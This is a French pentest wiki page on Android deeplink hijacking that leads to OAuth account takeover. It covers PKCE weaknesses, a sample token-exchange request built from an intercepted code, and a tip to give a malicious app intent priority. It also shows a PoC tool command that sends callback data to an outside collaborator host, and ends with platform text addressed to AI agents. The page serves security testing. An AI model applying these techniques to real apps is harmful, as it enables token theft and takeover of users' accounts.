> For the complete documentation index, see [llms.txt](https://blog.s1rn3tz.ovh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://blog.s1rn3tz.ovh/pentest-mobile/android/deeplinks-vulns/deeplink-hijacking.md).

# Deeplink hijacking

Les activités utilisant les deeplinks étant exportées, n'importe quel application y a accès, Si celui-ci n'est pas correctement configuré et validé via un [Asset Link correct](/pentest-mobile/android/deeplinks-vulns/invalid-digital-assets-links.md), il est alors possible de créer une application utilisant exactement le même deeplink afin de potentiellement pouvoir intercepter des données sensibles.

Ressources utiles:

{% embed url="<https://hackerone.com/reports/855618>" %}

{% embed url="<https://djini.ai/oauth-in-mobile-apps-how-custom-schemes-can-leak-your-tokens/>" %}

{% embed url="<http://actuator.sh/blog/2026-08-the-wrong-dropdown.html>" %}

## Deeplink Hijacking to ATO

Un cas très courant auparavant, beaucoup moins aujourd'hui est l'interception un jeton d'accès valide via deeplink hijacking.

En effet, lorsqu'une application mobile utilise le framework OAuth 2.0 pour l'authentification des utilisateurs, elle doit respecter deux réglementations de sécurité importantes.

### La RFC 6749

La RFC 6749 définit le framework OAuth 2.0 :\
comment une application obtient un accès sécurisé à une API au nom d’un utilisateur.

L'objectif étant d'éviter qu'une application ne manipule directement le mot de passe de l'utilisateur.

Pour cela, OAuth 2.0 permet de:

* S’authentifie auprès d'un fournisseur d’identité
* Recevoir un **token d’accès**
* Appeler les APIs avec ce même token

Il existe plusieurs flows d'authentifications plus ou moins sécurisés avec des potentielles vulnérabilités à différents niveaux

Ressource:

{% content-ref url="/pages/DAn0UCcmZuUXB95us105" %}
[OAuth](/pentest-web/oauth.md)
{% endcontent-ref %}

Cependant, La RFC 6749 a été conçue avant l’explosion des apps mobiles modernes.

Elle ne précise pas clairement :

* comment gérer les redirections mobiles
* les navigateurs système à privilégier ou à éviter
* les risques des WebViews
* les les risques des URI custom schemes
* Comment éviter les attaques d’interception de code.

C’est précisément ce que complète RFC 8252.

### La RFC 8252

La RFC 8252 est un guide de sécurité spécialisé pour :

* Android
* iOS
* Applications de bureau

Elle modernise l’usage d’OAuth sur mobile.

Elle met en avant les bonnes pratiques et des moyens de défense contre certains risques spécifiques aux applications faisant usage de deeplinks principalement.

Les principaux points d'attentions étant:

* L'utilisation de Custom Tabs plutôt que de WebViews
* L'utilisation du flow OAuth Code Flow + PKCE
* La gestion des Custom URIs, Asset Links etc

Une application qui ne respecte pas ces recommandations s'expose donc à plusieurs risques dont des risques de deeplink hijacking pouvant mener à des ATO.

## Exploitation

Dans un premier temps, il est donc nécessaire de savoir déceler des mauvaises pratiques et des non conformités avec ces RFC.

### Deeplinks

Evidemment, la première chose à vérifier est si l'application cible utilise des deeplinks et si un ou plusieurs de ces deeplinks sont utilisés dans un processus d'authentification OAuth.

Voir la page précèdente pour la méthodologie:

{% content-ref url="/pages/7AcPrPptjtMD3O5XXB9i" %}
[Deeplinks vulns](/pentest-mobile/android/deeplinks-vulns.md)
{% endcontent-ref %}

Une fois les deeplinks extraits, on peut vérifier s'ils sont utilisés lors d'authentifications OAuth de différentes manières:

* On peut essayer de les trigger directement via un intent ou un hyperlien pour voir le comportement de l'app.
* On peut essayer de se connecter à l'application tout en observant les logs logcat (Les liens de redirection OAuth sont souvent loggés).
* On peut utiliser un outil d'instrumentalisation comme frida-trace.
* On peut vérifier dans le code décompilé comment fonctionne le traitement des deeplinks

### Asset Link

Une fois qu'un deeplink a été identifié comme utilisé dans un flow OAuth, il faut alors vérifier si un Deeplink Hijacking est exploitable.

Il est possible d'hijack un deeplink si:

* Le deeplink utilise une URI custom: Si une URI custom est utilisée, alors il ne peut pas y avoir de vérification d'App Link et des applications tierces peuvent donc enregistrer le même deeplink.

Exemple:

```
oauth-xyz://targetapp
```

* L'application utilise une URL comme deeplink mais que celle-ci ne dispose pas d'un Asset Link valide

Se référer à la page:

{% content-ref url="/pages/SxBw0kXGgUy1miWUAmcZ" %}
[Invalid Digital assets links](/pentest-mobile/android/deeplinks-vulns/invalid-digital-assets-links.md)
{% endcontent-ref %}

### Flow OAuth

Si le deeplink peut être intercepté, alors cela représente déjà une vulnérabilité en tant que tel car cela peut permettre de rediriger un utilisateur vers une application tierce à la fin d'un processus d'authentification dans un scénario de phishing ciblé.

Cependant, l'intérêt final pour un attaquant serait de pouvoir exfiltrer les paramètres du callback qui contient les données qui lui permettraient de générer un jeton d'accès au nom de sa victime et atteindre un ATO.

Pour cela, il reste donc à vérifier si le Flow OAuth de utilisé est vulnérable (si flow OAuth Code Flow + PKCE n'est pas respecté)

#### Absence ou mauvaise implémentation de **Proof Key for Code Exchange (PKCE)**

PKCE permet de s'assurer que seule l'application qui a initié la demande peut demander et obtenir le jeton d'accès. Ce mécanisme résout ce problème en introduisant un concept de "preuve de clé".

Lors de la demande d'un code d'autorisation, l'application génère d'abord un "code\_verifier" aléatoire et le stocke localement. Elle convertit ensuite ce "code\_verifier" en un "code\_challenge" en utilisant des algorithmes spécifiques. L'application envoie à la fois le "code\_challenge" et la méthode du "code\_challenge" au serveur d'authentification lors de la demande de code d'autorisation.

Le "code\_verifier" est une chaîne générée aléatoirement, et le "code\_challenge" est dérivé du "code\_verifier" par conversion. Deux méthodes de conversion sont prises en charge :

* `plain` : utilise directement le "code\_verifier" comme "code\_challenge" (pas idéal en terme de sécurité)

```
const code_verifier = randomString();
const code_challenge = codeVerifier;
```

* `S256` : applique un hachage SHA-256 au "code\_verifier", suivi par un encodage Base64URL. Comme le résultat du hachage ne peut pas être inversé pour obtenir le "code\_verifier", et parce que la méthode `plain` pourrait être vulnérable aux attaques de type MitM pendant la transmission, l'utilisation de `S256` est fortement recommandée pour des raisons de sécurité.

```
const code_verifier = randomString();
const code_challenge = base64url.encode(sha256(code_verifier));
```

Après l'authentification de l'utilisateur, le serveur d'authentification retourne le code d'autorisation à l'application. Lors de la demande d'un jeton d'accès, l'application envoie à la fois le code d'autorisation et le "code\_verifier" au serveur d'authentification. Le serveur transforme le "code\_verifier" en utilisant la méthode de "code\_challenge" précédemment reçue et compare le résultat avec le "code\_challenge" précédemment reçu pour vérifier la possession par le client du "code\_verifier".

Ainsi, si l'application utilise uniquement le Code Flow OAuth, l'attaquant peut intercepter le deeplink et récupérer le code d'autorisation ("authorization\_code").

Exemple:

```
oauth-xyz://targetApp/callback?code=<authorization_code>
```

En l'absence d'une validation supplémentaire via "code\_verifier", l'attaquant peut ensuite envoyer une requête de pour récupérer un "access\_token" valide.

Exemple:

```
POST /token
Host: redacted.xyz
...
...
...

{
    "client_id": "JFZshHfeoH...",
    "grant_type": "authorization_code",
    ### "code_verifier": "[SecureRandomString]", //Absent sans PKCE
    "code": "<authorization_code>", //récupéré dans l'intent reçu
    "redirect_uri": "xyz://targetApp/something"
}
```

{% hint style="info" %}
Tips: Lors de la création d'un exploit de deeplink hijacking, il est intéressant d'utiliser `android:priority="999"` dans la balise `<intent-filter>` contenant le deeplink pour dire à Android que l'application malveillante a la priorité sur l'application légitime pour ce deeplink et la faire apparaître en première dans la pop-up de choix d'appli.
{% endhint %}

#### Contournements et dérivés possibles

* code\_verifier prédictible: Si le code\_verifier n'est pas suffisemment aléatoire et robuste (valeur fixe, faible entropie, réutilisable)
* code\_verifier stocké de manière non sécurisé: récupérable par l'application tierce malveillante
* OAuth misconfig:
  * serveur accepte PKCE optionnel
  * accepte `plain`
  * accepte downgrade
  * accepte redirect\_uri partielle
  * plusieurs flows autorisés
  * wildcard redirect\_uri
* Sur-exposition de données dans le callback: si le JWT se retrouve directement dans le callback par exemple

## Outils

### DeepLinkHijackingPoC

script python permettant de compiler (+ installer) simplement et rapidement une application PoC avec un deeplink spécifique en entrée utilisateur.

Exemple d'utilisation:

```
python3 DeepLinkHijacker.py -l "oauth-xyz://targetApp/" [-i] [-d burpcollab.xyz]
```

Ressource: <https://github.com/mathis2001/DeepLinkHijackingPoC>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://blog.s1rn3tz.ovh/pentest-mobile/android/deeplinks-vulns/deeplink-hijacking.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
